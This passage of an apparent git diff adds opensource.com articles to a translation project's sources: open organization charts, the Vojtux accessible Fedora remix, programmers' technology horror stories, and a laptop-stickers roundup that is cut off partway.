a large vertical organization chart. Quick decisions must be made on the frontline, where the issues are. A horizontal organization that gets the people most directly involved in the decision-making process is required and is part of the strength that McChrystal is talking about. + +![A horizontal org chart with connections between teams][3] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +These connections should have solid lines, and the vertical lines should be dotted, as communications should go up the line only when need be and horizontally minute by minute in real-time. + +### Information reversal + +In another presentation, I talked about an upside-down organization chart, which I called the [hierarchy of support][4]. Compare this with a vertical organizational chart. + +![Hierarchy of company objectives][5] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +A typical vertical organization chart has top management in the top box. The staff provided frontline information to superiors so that they could decide. + +Then, lines connect downward to departments under the top box, and directives move downward. Task directives flow from those department managers to the staff under them. + +In a rapidly changing, unpredictable environment, the superiors should provide surrounding information to the staff so frontline people can make decisions independently. Imagine turning that organization chart upside down, with top management at the bottom and the staff at the top. + +![Hierarchy of company support][6] + +Image by: + +(Ron McFarland, CC BY-SA 4.0) + +With today's information technology, the frontline staff is often better informed than their superiors. Therefore, managers' main job is to support the staff where needed, but the decisions should be made rapidly on the frontline. + +McChrystal uses the expression, "Eyes on - Hands off." I think he is suggesting what I'm saying in a different way. He calls top managers giving directives "chess players" and supporting managers "gardeners." + +McChrystal started a training company called [Crosslead][7] that trains individuals and companies on how this type of organization works. Their name implies the horizontal, frontline communication I mentioned in my upside-down organization chart. + +The book mentions Open Organization Principles throughout: + +- **Adaptability**, which he calls "resilience." +- **Collaboration**, which is horizontal within teams and between teams. +- **Community**, which is **Inclusivity** and **Transparency** within teams. + +### Getting through the forest by knowing the working environment + +Imagine your goal is to get through a forest to your home on the other side. Unfortunately, the forest is rapidly changing because of the weather and climate. + +One person gives you a map of the best way to go through the forest, but that map was made in the past and might be outdated. It might be the best way to get home, but blockages along that route may force you to return to your starting location. + +Another person has a current satellite image of the forest which shows every possible route and its present condition. Furthermore, he has guides spread throughout the forest who can communicate and advise you on the best route. + +Wouldn't the second method be more reliable with a rapidly changing forest? + +### McChrystal's organization chart + +It starts with a frontline team, a specific goal, and members' specific tasks. The members select a leader depending on the task at hand. Who is most experienced, informed, and qualified to lead them toward the given team goal? + +It might well be that the official leader is the least qualified to make decisions, so the system is very slow at best and freezes at worst. Who will most people follow? That will determine the leader of any given task. + +McChrystal writes about the "Perry Principle," in which top management could not give orders by sea because there was no communication system in [Admiral Perry's][8] days. McChrystal calls this a "principle" because empowerment was given to frontline staff as a last resort and only when forced. He thinks this should be reversed. Top management should only make the decision themselves when the frontline people can't decide for one reason or another. + +The team chart that McChrystal is proposing is on the right. + +![Command organizational chart versus team organizational chart][9] + +Image by: + +Team of Teams, page 96. + +An exponential growth in frontline connectedness speeds up the communication and action process in a way that the current hierarchical structure can not handle. The command chart on the left is just too slow in a rapidly changing environment. + +By the time the situation is reported, everything changes and reported information is obsolete. Therefore, a frontline leader, like a start-up entrepreneur, must have the authority, initiative, intuition, and creative thinking to make decisions and immediately act on them to achieve the best result. Speed determines success or failure. + +Up until now, adaptability has mostly been characteristic of small interactive teams rather than large top-down hierarchies. + +In this new environment, that frontline leader's superior must withhold decision-making on the one hand but relentlessly support the frontline on the other. This will lead to frontline decision-making competence to iterate and adjust in a fraction of the normal time. + +### Attention directed from efficiency to adaptability + +McChrystal introduces the work of [Frederick Winslow Taylor][10], who developed the reductionist theory and the optimization and standardization of processes. This process was the most efficient way to reduce costs and save energy. He believed there was one ideal way for any process. + +So, he researched processes, developed instruction sheets, and instructed the frontline staff just to follow directions. It was a hard and fast line between thinking (by the researcher) and action (by the frontline worker). This approach is fine for repeated, well-known, stable processes, but not in changing environments, like factories with complicated but linear predictable activities, but not in changing environments. Unfortunately, this concept took the initiative to improve away from the frontline operator, as all they had to do was act and not think. + +When modification was required, the frontline worker froze, unqualified and unskilled at adapting. + +McChrystal writes that his military combat environment is not predictable. It is a "complex system." This complexity has countless unpredictable interdependencies in the environment. + +When one event takes place, it may have a massive impact or no impact at all. This results in great unpredictability. We have to manage this unpredictability. In the past, communication was from a few to a few with some connected impact. Now, it is many to many, and no one knows who or what the impact is on who or what. It is totally unpredictable. + +I believe this reductionist process is still important, but it can only go so far. + +Therefore, those basic practice instruction sheets should come in the form of suggestions only and not orders to follow. McChrystal calls these situations _complexity systems_. It's like opening and walking through a door only to learn of other doors to choose from. + +Those other doors cannot be foreseen without walking through the previous door. After selecting one of those doors, you discover more doors to choose from. To be most effective, whenever you select a door, you let everyone in the system know which one you picked and ask for advice if available. This is where real-time transparency is vital. In this environment, planning is not helpful, but feedback is. + +Being better equipped and more efficient are not enough in complex environments. Being agile and resilient become critical factors. When disturbances come, the system must continue to function and adjust. This is all-important in a world of continual situational change. In this world, planning for disruption is vital. It is "rolling with the punches" or even benefiting from them by developing an immune system to disruption. When shocks come, options have been planned, developed, practiced, and applied when needed. Simply working on one ideal process is not enough. If all the attention is on the execution of one procedure, other more helpful skills may suffer. It is moving away from predicting a single forecast, exploring all possibilities, and preparing for them. McChrystal asks to contrast efficiency and effectiveness. He says, "Efficiency is doing things right. Effectiveness is doing the right thing." He thinks the latter is more important in a complex situation. To do that, people should be skilled in many rarely needed but still necessary tasks. + +### Collaboration over vertical communication walls + +Furthermore, breaching vertical walls between divisions or teams increases the speed of action, particularly where cross-functional collaboration is vital to the speed of response. + +According to McChrystal, both between teams and within teams, collective consciousness is developed over years of joint practice, trust building, cooperation, deep group, and individual understanding, bonding, and service to their greater purpose. + +The entire group can improvise in a coordinated way when necessary. Teamwork is a process of reevaluating everyone's move and intent, constant messaging, and real-time adjustment. + +### Barriers between teams + +As you move down the traditional organization chart, motivation and contextual awareness become more limited and specific, and greater distance from the overall organization's objectives. Members are tight within their team but separated from the other groups within the organization and possibly the entire organization's goals. + +![Command of teams organizational chart][11] + +Image by: + +Team of Teams, page 129 + +### Real-time communication and connections between teams + +In a complex, rapidly changing environment, the below chart is more appropriate, where there is a good deal of continual information flow and connections. + +![Inter-team organizational chart][12] + +Image by: + +Team of Teams, page 129 + +Team members tackling complex environments must all grasp not just their team's purpose but the overarching goal of the entire organizational system. They must also consider how their activities impact other groups. + +To be successful, team participation and team-to-team participation are vital, according to McChrystal. In Jim Whitehurst's [book][13] on letting and encouraging everyone to speak up in meetings, even the quiet people express this same point. + +I wrote about it in my first article, [When empowering employee decision-making, intent is everything][14], posted on April 19, 2016. This concept is true when trying to connect teams as well. + +Teams working on a problem and collaborating in real time can perform tasks more concurrently rather than sequentially, saving a massive amount of valuable time. + +### Wrap up + +This article presents several images of new organization chart concepts. Unofficially, to get things done, much horizontal communication has been going on for decades. The difference now is that updates are in minutes and not at weekly or monthly meetings. + +I also discussed the importance of the speed of decision-making in today's working environment and that a new real-time communication flow system is needed. I mentioned that at least three critical Organization Principles, namely adaptability, transparency, and collaboration, were vitally important to make communication flow and allow faster decision-making and execution. Furthermore, I also presented that just having a highly efficient and low-cost system is not enough when faced with a rapidly changing, unpredictable working environment. An approach better able to adapt to change needs to be introduced and put into use, namely a new open organization chart. + +In the second part of this article, I will discuss how this type of organization can work, including how to develop it and improve it. Also, I'll give examples of how it can work in various situations. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/innovative-open-organization-chart + +作者:[Ron McFarland][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ron-mcfarland +[b]: https://github.com/lkxed +[1]: https://www.shortform.com/summary/team-of-teams-summary-stanley-mcchrystal?gclid=CjwKCAjwy_aUBhACEiwA2IHHQFl6iYqOX4zSl3JxC-BVubNJo3Ee11s2nF2t4HMN6roJn2yehivPshoCXlQQAvD_BwE +[2]: https://opensource.com/open-organization/17/3/making-better-open-decisions +[3]: https://opensource.com/sites/default/files/2022-10/horizontal-org-chart.png +[4]: https://www.slideshare.net/RonMcFarland1/hierarchy-of-objectives-support +[5]: https://opensource.com/sites/default/files/2022-10/hierarchy-company-objectives.png +[6]: https://opensource.com/sites/default/files/2022-10/hierarchy-company-support.png +[7]: http://www.crosslead.com/ +[8]: https://en.wikipedia.org/wiki/Matthew_C._Perry +[9]: https://opensource.com/sites/default/files/2022-10/command-vs-team-chart.png +[10]: https://en.wikipedia.org/wiki/Frederick_Winslow_Taylor +[11]: https://opensource.com/sites/default/files/2022-10/command-of-teams.png +[12]: https://opensource.com/sites/default/files/2022-10/connections-between-teams.png +[13]: https://www.goodreads.com/book/show/23258978-the-open-organization +[14]: https://opensource.com/open-organization/16/4/when-empowering-employee-decision-making-intent-everything diff --git a/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md b/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md new file mode 100644 index 0000000000..fbbc0a73db --- /dev/null +++ b/sources/talk/20221024.5 ⭐️⭐️ Remixing Linux for blind and visually impaired users.md @@ -0,0 +1,108 @@ +[#]: subject: "Remixing Linux for blind and visually impaired users" +[#]: via: "https://opensource.com/article/22/9/linux-visually-impaired-users" +[#]: author: "Vojtech Polasek https://opensource.com/users/vpolasek" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Remixing Linux for blind and visually impaired users +====== + +Vojtux, a Fedora project, is an unofficial Linux distribution aimed at visually impaired users. + +When I was around 5 years old, my father brought home our first computer. From that moment on, I knew I wanted to pursue a career in computers. I haven't stopped hanging around them since. During high school, when considering which specific area I wanted to focus on, I started experimenting with hacking, and that was the moment I decided to pursue a career as a security engineer. + +I'm now a software engineer on the security compliance team. I've been at Red Hat for over two years, and I work remotely in the Czech Republic. I've used Linux for about 12 years, mainly Arch Linux and Fedora, but I've also administered Debian, Gentoo, and Ubuntu in the past. + +![Image of Vojtech][1] + +Photo description: Black and white image of a smiling Vojtech, with a red frame around it and an illustrated paper airplane in the background. + +Outside of my day job, I play blind football, and I'm involved in various projects connecting visually impaired and sighted people together, including working in a small NGO that runs activities for blind and visually impaired people. I'm also working on an accessible Fedora project called [Vojtux][2], an unofficial Linux distribution aimed at visually impaired users. + +### The assistive technology stack + +When I use a smart device, I need several pieces of assistive technology. The first and most essential is called a screen reader. This is software that presents what's on the screen to blind or visually impaired people, either through speech or through braille (basically, it tries to serve as our eyes). It can read out notifications and tell me which button or page element I'm focusing on, allowing me to interact with graphical user interfaces. + +Screen readers use speech synthesis to speak aloud what appears on the screen. There are a variety of speech synthesizers, and some voices are more "natural-sounding" than others. The one I use, Espeak, is not very natural-sounding, but it's lightweight and fast. It also supports almost all languages, including Czech (which I use). + +Finally, I use a Braille display, a device that represents a line of text in Braille. I use this a lot, especially when I'm coding or doing code reviews. It's easier to grasp the structure of code when I can freely move from one code element to another by touch. I can also use its buttons to move the cursor to the character or area of the screen I'm interested in, and it has a Braille keyboard too if I want to use it. + +### How I use assistive technology on a daily basis + +When using a computer as a blind or visually impaired person, there are a couple of things that are relatively straightforward to do using the tech above. Personally, these are a few of the things I do every day: + +- The text console is pretty much my favorite application. As a general rule, when something's in text, then blind people can read it with a screen reader (this doesn't hold true in all cases, but in most.) I mainly use the console for system management, text editing, and working with guidance and documentation. +- I browse the web and interact with websites. +- I code and do code reviews using VSCode and [Eclipse][3]. +- I send emails and instant messages. +- I can use word processing software, like Google Docs (which is not open source, but common in the modern office) and [LibreOffice][4]. Google Docs developers have added a lot of keyboard shortcuts, which I can use to move around documents, jump to headings or into comments, and so on. +- I can play multimedia, usually. It depends on how the application is written. Some media players are more accessible than others. + +### Possible but painful + +This brings me to tasks that aren't so easy. I like to call these "possible but painful". + +PDF files can be difficult. Sometimes I end up needing to use optical character recognition (OCR) software to convert images to text. For example, recently I needed to read a menu for a restaurant. They had the PDF of their menu on their website, but it had been flattened, and didn't have a text layer. For me, this shows up as a blank screen. I had to use an OCR application from my smartphone to extract the text for me. Not only is this an extra step, but the resulting "translation" of the text isn't always entirely accurate. + +Viewing and creating a presentation can be problematic. To work around this, I create slides in HTML, using software such as [Pandoc][5], which can process [markdown][6] and convert it into slides. I've been using this for many years and it works well—it allows me total control of the resulting slides, because the markdown is just simple text. + +Video games can be made more accessible by basing them on sound or text. However, playing games can be doubly challenging on Linux as not only would you need to find an accessible game, but most PC games are also native to Windows so you would be dealing with some compatibility issues as well. + +Some websites and interfaces are more difficult to navigate than others. These issues are often quite easy to solve just by setting some attributes correctly. In general, lots of web content comes in the form of images, especially today. One of the easiest ways to make web content more accessible is to make sure that alternative text is added to images so that screen readers can read it out, and people who cannot distinguish the image have some idea what's there. Another thing I experience a lot is unlabeled controls: you know there's a button or a check box but you don't know what it does. + +### The Vojtux project optimises Linux for accessibility + +Developers don't intentionally set out to build applications that aren't accessible. The problem is that they usually don't know how to test them. There aren't many blind Linux users, so there aren't many people testing the accessibility of applications and providing feedback. Therefore, developers don't produce accessible applications, and they don't get many users. And so the cycle continues. + +This is one thing we hope to tackle with the Vojtux project. We want to create a Fedora remix that's user-friendly for visually impaired and blind users. We hope it will attract more users, and that those users start discovering issues to report, which will hopefully be solved by other developers in the open source community. + +So why are we doing this? Well, it's important to point out that Fedora is not an inaccessible distribution by design. It does have many accessibility tools available in the form of packages. But these aren't always present from the beginning, and there are a lot of small things which need to be configured before it can be proficiently used. This is something that can be discouraging to a beginner Fedora user. + +We want Vojtux to be as friendly and predictable for a blind user as possible. When a user launches a live image, the screen immediately starts being read as soon as a graphical user interface appears. All [environment variables][7] needed for accessibility are loaded and configured correctly. + +Vojtux brings the following changes, among others: + +- Environment variables for accessibility are configured from the start. +- The Orca screen reader starts as soon as the graphical interface loads. +- A custom repo is added with extra voice synthesis and packaged software. +- Many alternative keyboard shortcuts have been added. +- There's a special script that can turn your monitor on and off. Many users do not need the monitor at all and having it off is a great power saver! + +### So how can you help? + +First, if you'd like to contribute to Vojtux (or just spread the word), you can find out more on [our repository][2]. + +Additionally, when working on a team with someone who has a visual impairment, there might be some additional considerations depending on the accessibility tech being used. For example, it's not easy for us to listen to someone and read at the same time, because we are basically getting both things through audio, unless someone is very proficient with the Braille display. + +Lastly, bear in mind that blind and visually impaired users consume the same end products as you do, whether that's presentation slides or websites or PDFs. When building products or creating content, your choices have a huge effect on accessibility and how easy it is for us to engage with the end result. Know that we are here, we love to use computers and technology, and we're often willing to help you test it, too. + +![Image of Vojtech holding a football][8] + +Image description: Vojtech holding a football. He is wearing a football uniform and protective goggles. + +This article originally published in September 2022 and has since been updated with the project's official name, Vojtux. + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/9/linux-visually-impaired-users + +作者:[Vojtech Polasek][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/vpolasek +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/2022-08/Vojtech.png +[2]: https://github.com/vojtapolasek/Fegora +[3]: https://opensource.com/article/20/12/eclipse +[4]: https://opensource.com/article/22/2/libreoffice-accessibility +[5]: https://opensource.com/article/18/9/intro-pandoc +[6]: https://opensource.com/article/19/9/introduction-markdown +[7]: https://opensource.com/article/19/8/what-are-environment-variables +[8]: https://opensource.com/sites/default/files/2022-08/Vojtech%20holding%20a%20football.jpg diff --git a/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md b/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md new file mode 100644 index 0000000000..6902cdd07b --- /dev/null +++ b/sources/talk/20221031.0 ⭐️⭐️⭐️ 20 technology horror stories about learning the hard way.md @@ -0,0 +1,262 @@ +[#]: subject: "20 technology horror stories about learning the hard way" +[#]: via: "https://opensource.com/article/22/10/technology-horror-stories" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +20 technology horror stories about learning the hard way +====== + +Sysadmins, web designers, engineers, and programmers share their scariest experiences on the command line. + +Halloween will be here before you know it! This fun, over-the-top holiday is a great time to ponder the mortal fears of the developer in each of us. What haunts you the most, in the quiet moments just before your code starts to run? + +Getting into the spirit of Halloween, I asked some Opensource.com writers: What's the scariest code you've seen or written? + +### Bad permissions + +I was responsible for a server, and I FTP'd something up. There were some funky things displaying, so I thought some permissions needed to be changed. + +Needless to say, I foolishly turned off read mode and took down the site. (A website is not much good when nobody can access it.) + +It took me hours to fix. This was at an agency years ago when I was the sole web developer. + +—[Miriam Goldman][1] + +### Shambling HTML + +I took down a client's website, who was an author on the Wall Street Journal bestseller list at the time, because the original WordPress default theme had an update available. + +His developer had hardcoded HTML into the theme instead of creating a child theme. I ran the update. + +This was in the days when folks didn't have nightly backups easily, so I spent hours on the phone with the hosting provider. Things like staging, child themes, nightly backups, or manual backups, are all now normal things, as well as the ability to auto-update and manually roll back. Not so in that era. + +—[Courtney Robertson][2] + +### Not-so-secret key + +I think many of us have seen a secret key in public code before. Or another favorite: A friend of mine sending emails to 100,000 users from the dev server. + +—[John E. Picozzi][3] + +### Unix mix-up + +This is a Unix story. It's fixed in [Linux][4] today. + +A day before I was going to give an important demo of a new component to management, I had to refresh my code (this was way before [Git][5] existed.) I went to my home directory, found the project directory, and deleted everything. Unfortunately, in that flavor of Unix, this command followed symbolic links, and I had a link to the latest version of the code (not all was on the source code system as it was still in the testing phase). + +A day later, there was a network problem in the building, so the demo was delayed for a day, and we managed to recover. It was more than three decades ago. Even now I have no clue whether the network problem was a coincidence or an attempt of our sysadmin to save us (if so, it worked!) + +—[Josh Salomon][6] + +### Imperative + +Seeing `!important;` all over a CSS file instead of proper use of specificity. + +I once had to override and customize almost all of a WordPress theme's CSS because the owner of the site wouldn't budge on getting a new theme that was closer to the design he wanted. + +That same theme was last updated by the developer in 2018, and the website is still using it. + +—[Christi Nickerson][7] + +### Misquoted + +In a previous role, my predecessor misquoted the lyrics to Journey's "Any Way You Want It" in a code comment. + +—[Ben Cotton][8] + +### The ghost of Algol68 + +Algol68's complexity, back in the late 1960s and early 1970s, frightened away many influential people, including Niklaus Wirth. The most common complaint I can recall back then was along the lines of "who could write a compiler for such a complicated beast?" And yet many people did. Moreover, many of the concepts developed or at least formalized as [Algol68][9] appeared in later languages, notably in C and the Bourne shell (thanks to Steve Bourne). + +Some of Algol68's concepts have not aged well. The concept of I/O dealing with "books" and "chapters," and so on, is a bit weird today. Leaving things like character sets to the implementation seems pretty old-fashioned. + +But some are, or should be, tremendously relevant today, such as expressions that yield a value, strong typing (types in Algol68 are called "modes"), [heap memory and garbage collection][10], definition and overloading of operators, and more. + +Sticking with the Hallowe'en theme, both tricks and treats. + +Algol68 is a language that merits study, if for no other reason than to see where so many of modern computing's ideas came from, and to see how many have been lost along the way. + +—[Chris Hermansen][11] + +### Passwords exposed + +I was doing a tech audit for an incoming support client, and the previous developer put passwords in plain text throughout the full theme, and used horrible ways to connect to a remote database. Their composer file was also ghoulishly bloated. It took five minutes every time I tried to get the site up and running locally. Outdated dependencies, repos I could not access, the list goes on. + +—[Miriam Goldman][1] + +### The maze + +The scariest code I ever saw was a piece of PDP-11 assembly language in the kernel of an operating system named RSTS, which nobody remembers today. Source code was on microfiche in those days, and I had followed this code path through a few twists and turns, trying to figure out what was going on. And then, I ran into this instruction: + +``` +MOV R5,PC +``` + +I threw up my hands and wailed. I really did wail. People in the office thought I'd hit my head, or had a heart attack. + +In those days, memory was precious and a `MOV` instruction used a teeny tiny bit less memory than a `BR` (for "branch") instruction. Copying the contents of register 5 into the program counter was really a cheap unconditional branch to the address stored in register 5. Except, I had no clue what was stored in register 5, or how to find it. + +To this day, almost 40 years later, I wonder who would write code like that and how anyone could debug it. + +—[Greg Scott][12] + +### Off by one + +I work in the automation industry, where the PLCs are programmed in some pretty weird languages. + +An example that haunts me is the fact that in the language [ST][13], you can define arrays to begin at index 1. It means that the first element is at position 1, not 0. It drives me nuts when I see it. + +—[Stephan Avenwedde][14] + +### Divergence + +I took a MongoDB instance down for 40 minutes once during a stage-to-prod launch. Our staging environment had diverged from production. It was just a database configuration difference—not very exciting. But it's a good lesson to make sure your staging and prod environments are in sync! + +—[Em Nouveau][15] + +### Unearthly whispers + +This is from a project that's still alive and kicking, but I've changed the code to hide the source. + +``` +for(int c =0; y < yyy && c < ccc; y++, c++){// some code here} +``` + +It seems like an innocent loop at first. But maybe you're asking why there are two variables with two stop conditions and two increments. And then you realize there's only one initializer and the second variable (`y`) is initialized before this loop in a different code block. + +When I realized this, it took me about an hour to understand why the code was written in this way, and how it's supposed to work. Obviously, there were no `c` comments and the variable names are meaningless (`c` is called `c` in the code and `y` has a bit more meaningful name, but not meaningful enough to explain to me its meaning, not even today when I understand what it does). + +—[Josh Salomon][6] + +### Critical data + +Around 1980, I got my first job after college. I was the Assistant Computing Center Director at an engineering college in Indiana. That's a fancy title for the second-in-command of a two-person IT shop. I handled administrative computing on a PDP-11/40, with RK05 removable "pizza platter" disk drives (2.5 MB each.) Each admin office had one drive, and part of my job was to back them up, disk to disk, every week. But I got busy over that summer and skipped the Registrar's Office four weeks in a row. And then I realized the risk, so I made sure to start my monthly disk-to-tape backup. + +I dismounted the Registrar's pizza platter from the 11/40 and mounted it on the 11/70, which had a 9-track tape drive, and started my backup. A few minutes later, I heard a scraping noise inside that disk drive. Yep, the heads crashed. In a few short minutes, I'd destroyed all the Registrar's data, and the then-most-recent backup, which was a four-week-old 9 track tape. + +It was a, well, uncomfortable moment when I had to look the Registrar department head in the eye and tell him I had destroyed all his data. + +Today, I tell new IT people you're not a pro until you've destroyed somebody's critical data, and there's no way to recover it. Remember that feeling in the pit of your stomach forever. + +—[Greg Scott][12] + +### Angry mob + +A client hacked WordPress core to add features that later came out in a routine update and couldn't understand why the site kept crashing every time they attempted to update LearnDash. (They also didn't like our report that called out their poor development practices.) They basically showed us the door calling us liars and incompetents. To this day, I still have delegate access to their domains and wp-admin access to production and development of two domains. + +They also, despite us sharing a link to an encrypted location for sharing access credentials, sent our logins over emails. + +—[Laura Byrne][16] + +### Don't forget to backup + +I've not worked much on corporate networks, so I haven't downed any servers. However, as I young person, I tried to help a person with an IT problem and somehow caused Windows 95 to crash, and had to reinstall it for free. + +Another of my saddest moments as a very young Amiga user was when my save disk, containing all my files, broke due to some mechanical failure. Nowadays, I've gotten better at backing up more of my important personal files. + +—[Rikard Grossman-Nielsen][17] + +### Root of all evil + +I was new to Linux, and I'd just come from DOS where I used Norton Commander. Then Midnight Commander got released and I was very happy about it. It wasn't packaged for the Linux distro I used at the time (Jurix), so I compiled it myself from source, just like other software I used at that time. It worked perfectly well, and suddenly I felt more at home on Linux. + +That's not the horror story. + +My colleagues told me not to run Midnight Commander as root, regardless of how comforting it was. But root was easy, and it felt more like DOS, so I ignored their advice. Long story short: I accidentally removed the content of the entire `/etc` directory. Until that time, I'd never had to use backups, but that day I learned that backups are actually useful. + +27 years later, I still remember this story, and I do regular backups. + +—[Peter Czanik][18] + +### Illusion + +The worst project one agency had me "make" was a one-pager that seemed straightforward at first. I said I'd be able to hash it together with some HTML and CSS, maybe a little Javascript. But they specifically asked me not to do that. They wanted me to cut out the design and literally use CSS to position those pieces around the page. They also had me add all CSS inline, directly into the HTML file, because they literally wanted **one page**. + +None of the text was real text. + +There were no real HTML elements aside from the ones needed to position those images. + +I told them that the design was simple enough that I could throw it together with actual code, but they didn't want that. They only wanted me to spend the time to cobble the pieces together and then move on to a different project. They had me make two little one-page sites like that. + +It hurt my front-end soul. It was physically painful for me to do that project. It was a temp-to-perm gig, and when they offered me full-time, I politely declined. + +—[Rachel Vasquez][19] + +### Corruption + +The scariest things to me are memory corruptions that can occur in ANSI C99. During a screencast, I captured this (not quite) paranormal occurrence in this [YouTube clip][20]. + +![Image of gseqencer before memory corruption.][21] + +The GtkEntry labeled `file` shows some random glyphs. I've double checked the [code][22], but didn't find any issues. + +The `ags_export_soundcard_open_response_callback()` function is a callback to the "response" event of GtkFileChooserDialog. (For the record, the tool to target this problem is [valgrind][23].) + +![Image of gsequencer after memory corruption.][24] + +—[Joël Krähemann][25] + +### Python fears + +The most horrific programming feature I ever saw is the access Python gives to its `dict`. Changing the type of an object at runtime is against my programming code of conduct. + +—[Josh Salomon][6] + +### Franken-net + +In 2006, I built firewalls based on Fedora and a bunch of scripting, and persuaded a customer with a large website inside a colo center to replace a proprietary firewall with one of mine. I built it and showed up to install it at 4AM one morning. That was when I learned (the hard way) that he had a load balancer behind his firewall, but with a public IP address. The customer endured a 5-minute outage, but I reconnected everything to the original, and it all came back online. + +I found a way to handle his franken-net configuration by using proxy ARP. The idea was whenever anyone from the outside world did an ARP request for the load balancer, I would answer. A few days later, I showed up at 4AM again and installed my system. This time, I knocked everything in the entire colo center offline. I had set up my proxy ARP to respond to everything, and so all traffic on the LAN eventually found me and disappeared into a black hole. + +Once I realized what I'd done, I put it all back the way it was. But the damage was done. If you tried to browse your favorite website around 4AM US Central time one morning in 2006 and it didn't respond, it might have been my fault. I knocked an entire colo site offline by installing one system in a rack and turning it on. + +The website operator screamed and I slunk out the door. They never invited me back to try again. That was a shame, because bridging probably would have worked. + +—[Greg Scott][12] + +### Your horror story + +What's your favorite technology-related horror story? Tell us in the comments (but be nice, and change project names to protect the innocent!) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/10/technology-horror-stories + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/users/miriamgoldman +[2]: https://opensource.com/users/courtneyrdev +[3]: https://opensource.com/users/johnpicozzi +[4]: https://opensource.com/tags/linux +[5]: https://opensource.com/downloads/cheat-sheet-git +[6]: https://opensource.com/users/joshs +[7]: http://cnickerson.com +[8]: https://opensource.com/users/bcotton +[9]: https://opensource.com/article/20/12/learn-algol-68 +[10]: https://opensource.com/article/22/6/garbage-collection-java-virtual-machine +[11]: https://opensource.com/users/clhermansen +[12]: https://opensource.com/users/greg-scott +[13]: https://en.wikipedia.org/wiki/Structured_text +[14]: https://opensource.com/users/hansic99 +[15]: https://opensource.com/users/nouveau +[16]: http://twitter.com/@NewYorkerLaura +[17]: https://opensource.com/users/rikardgn +[18]: https://opensource.com/users/czanik +[19]: https://opensource.com/users/rachievee +[20]: https://youtu.be/Go6r-CT06zc?t=103 +[21]: https://opensource.com/sites/default/files/2022-10/gsequencer-before-memory-corruption.png +[22]: https://git.savannah.nongnu.org/cgit/gsequencer.git/tree/ags/app/ags_export_soundcard_callbacks.c?h=4.4.x#n397 +[23]: https://opensource.com/article/21/8/memory-programming-c +[24]: https://opensource.com/sites/default/files/2022-10/scarygsequencer-after-memory-corruption.png +[25]: https://opensource.com/users/joel2001k diff --git a/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md b/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md new file mode 100644 index 0000000000..757bb09bfc --- /dev/null +++ b/sources/talk/20221108.1 ⭐️⭐️ What stickers are on your laptop.md @@ -0,0 +1,272 @@ +[#]: subject: "What stickers are on your laptop?" +[#]: via: "https://opensource.com/article/22/11/laptop-stickers" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +What stickers are on your laptop? +====== + +Your laptop is a blank canvas ready to be decorated with self-expression. What are your favorite stickers? Take our poll and then read what other open source enthusiasts had to say. + +Having just switched work laptops last December, I realized how much I love applying stickers to my work machines. Sometimes the stickers are souvenirs from past events, others are from projects that I am passionate about, and some are just for fun! + +Curious to know what others had on their laptops, I asked! + +### Accessibility advocate + +![AMyJune's laptop with lots of Drupal stickers][1] + +Here is my work laptop (Can you tell my roots are in Drupal). My favorite decal is the Druplicon with the wheelchair... When [Drupal 8 came out, we took the logo][2] and blended it with the wheelchair because the agency I worked with focused on accessibility. + +—[AmyJune Hineline][3] + +### Fresh Java + +![Alan Formy-Duval's laptop with various linux decals][4] + +I have always had stickers on my computers and stuff since I was a kid. I think my favorite is either Tux or the Linux Inside. They are mostly field-relevant except for just a few.  In the bottom-right corner, I have Java running on Tomcat (haha) - an area I spent much of my career doing. + +—[Alan Formy-Duval][5] + +### Utilitarian purpose + +![Rikard Grossman-Nielsen's laptop with two velcro strips glued on][6] + +Well, I don't have any stickers. However, I've glued Velcro bands on my two laptops to secure my external hard drive for when I'm gaming on the bus. I have also glued a lock notch on. + +—[Rikard Grossman-Nielsen][7] + +### Maintain the look + +![John 'Warthog9' Hawley's laptop with a mix of decals][8] + +Not the most decorated laptop by far, but I like the collection (and you know, hard to get more without travel for a while!) + +My favorite is the "last one to commit is the maintainer". It's a snarky comment on the state of maintainership, as well as a promise that the code will live on as a result. + +Mostly it boils down to things I use or contribute to, think are meaningful, or just found the sticker awesome. + +—[John 'Warthog9' Hawley][9] + +### Window covering + +I never put stickers on my laptop because it seems to me the only really cool stickers are the ones I don't have (said the grumpy old man.) +But the old homebrew computer my kids used to use in high school, a 3GHz Core Duo with 8 GB of memory, has an Open Mainframe sticker on it that I grabbed at the Linux Foundation Open Source Summit here in Vancouver a few years ago. I quite like that one. +And because in my life, the **Control** key lives next to the **A**, not down on the bottom row, I have a few keyboards around with a **CTRL** sticker on the CapsLock key and a **CAPS** sticker on the **Control** key, which work together with the [swap 